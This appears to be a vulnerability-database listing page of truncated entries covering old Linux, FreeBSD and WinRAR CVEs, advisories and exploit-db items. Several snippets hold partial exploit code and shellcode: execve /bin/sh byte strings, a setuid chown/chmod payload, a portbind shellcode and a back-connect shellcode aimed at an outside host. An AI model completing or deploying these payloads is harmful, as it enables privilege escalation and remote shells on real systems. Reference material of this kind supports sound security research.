CVE-2004-1237

Unknown vulnerability in the system call filtering code in the audit subsystem for Red Hat Enterprise Linux 3 allows local users to cause a denial of service system crash via unknown vectors...

security flaw

Unknown vulnerability in the system call filtering code in the audit subsystem for Red Hat Enterprise Linux 3 allows local users to cause a denial of service system crash via unknown vectors...

[SA13627] Linux Kernel 32bit System Call Emulation and ELF Binary Vulnerabilities

TITLE: Linux Kernel 32bit System Call Emulation and ELF Binary Vulnerabilities SECUNIA ADVISORY ID: SA13627 VERIFY ADVISORY: http://secunia.com/advisories/13627/ CRITICAL: Less critical IMPACT: Privilege escalation, DoS WHERE: Local system OPERATING SYSTEM: Linux Kernel 2.4.x...

Linux Kernel <= 2.6.9, <= 2.4.28 vc_resize int Local Overflow Exploit

Exploit for linux platform in category dos / poc ===================================================================== Linux Kernel include include include include include include include include include int mainint ac, char av int fd; struct vtconsize vv; int cou=4242; fd=open"/dev/tty",ORDWR; i...

CVE-2004-0618

FreeBSD 5.1 for the Alpha processor allows local users to cause a denial of service crash via an execve system call with an unaligned memory address as an argument...

binfmt_elf.txt

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Synopsis: Linux kernel binfmtelf loader vulnerabilities Product: Linux kernel Version: 2.4 up to to and including 2.4.27, 2.6 up to to and including 2.6.8 Vendor: http://www.kernel.org/ URL: http://isec.pl/vulnerabilities/isec-0017-binfmtelf.txt CVE:...

Debian DSA-514-1 : kernel-image-sparc-2.2 - failing function and TLB flush

Paul Starzetz and Wojciech Purczynski of isec.pl discovered a critical security vulnerability in the memory management code of Linux inside the mremap2 system call. Due to flushing the TLB Translation Lookaside Buffer, an address cache too early it is possible for an attacker to trigger a local...

Debian DSA-403-1 : kernel-image-2.4.18-1-alpha, kernel-image-2.4.18-1-i386, kernel-source-2.4.18 - local root exploit

Recently multiple servers of the Debian project were compromised using a Debian developers account and an unknown root exploit. Forensics revealed a burneye encrypted exploit. Robert van der Meulen managed to decrypt the binary which revealed a kernel exploit. Study of the exploit by the Red Hat...

WinRAR 1.0 Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ======================================== WinRAR 1.0 Local Buffer Overflow Exploit ======================================== / WinRar local buffer overflow exploit V1.0 Coded By ATmaCA Copyright ? 2004 ProGroup Software, Inc...

bsd/x86 - connect 93 bytes

bsd/x86 connect 93 bytes. Shellcode exploit for bsdx86 platform / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id rus-sec /EFnet rootteam.host.sk BITS 32 jmp short path main: po...

freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes

Exploit for freebsd/x86 platform in category shellcode ============================================================ freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes ============================================================ / FreeBSD shellcode chown"/tmp/sh", 0, 0; chmod"/tmp/sh",...

freebsd/x86 execve /tmp/sh 34 bytes

No description provided by source. / FreeBSD shellcode - execve /tmp/sh Claes M. Nyberg 20020120 [email protected], [email protected] / / void main asm" xorl %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh pushl $0x706d742f push 'pmt/' /tmp movl %esp...

linux/x86 portbind port 5074 + fork() 130 bytes

Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 portbind port 5074 + fork 130 bytes =============================================== / email protected 0x9abril0x7d2 syssocketcall 102 0x66 %eax, esta es nuestra rutina principal. En toda...

linux/x86 bsd/x86 execve /bin/sh 38 bytes

Exploit for multiple platform in category shellcode ========================================= linux/x86 bsd/x86 execve /bin/sh 38 bytes ========================================= / Linux/x86 and Bsd/x86 execve of /bin/sh by dymitri!!! / include char code = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68"...

linux/ppc execve /bin/sh 112 bytes

Exploit for linux/ppc platform in category shellcode ================================== linux/ppc execve /bin/sh 112 bytes ================================== / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's linuxPPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF,...

linux/x86 bsd/x86 execve /bin/sh 38 bytes

No description provided by source. / Linux/x86 and Bsd/x86 execve of /bin/sh by dymitri!!! / include stdio.h char code = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x54" "\x53" "\x50" "\x8c\xe0" "\x21\xc0" "\x74\x04" "\xb0\x3b" "\xeb\x07" / si es bsd saltam...

linux/ppc - execve /bin/sh 112 bytes

linux/ppc execve /bin/sh 112 bytes. Shellcode exploit for linuxppc platform / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's linuxPPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6, 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4, 0x38E67FF3,...

linux/x86 break chroot execve /bin/sh 80 bytes

Exploit for linux/x86 platform in category shellcode ============================================== linux/x86 break chroot execve /bin/sh 80 bytes ============================================== / This is Linux chroot/execve code.It is 80 bytes long.I have some ideas how to make it smaller, but ti...

CVE-2002-0836

dvips converter for Postscript files in the tetex package calls the system function insecurely, which allows remote attackers to execute arbitrary commands via certain print jobs, possibly involving fonts...

CVE-2004-0126

The jailattach system call in FreeBSD 5.1 and 5.2 changes the directory of a calling process even if the process doesn't have permission to change directory, which allows local users to gain read/write privileges to files and directories within another jail...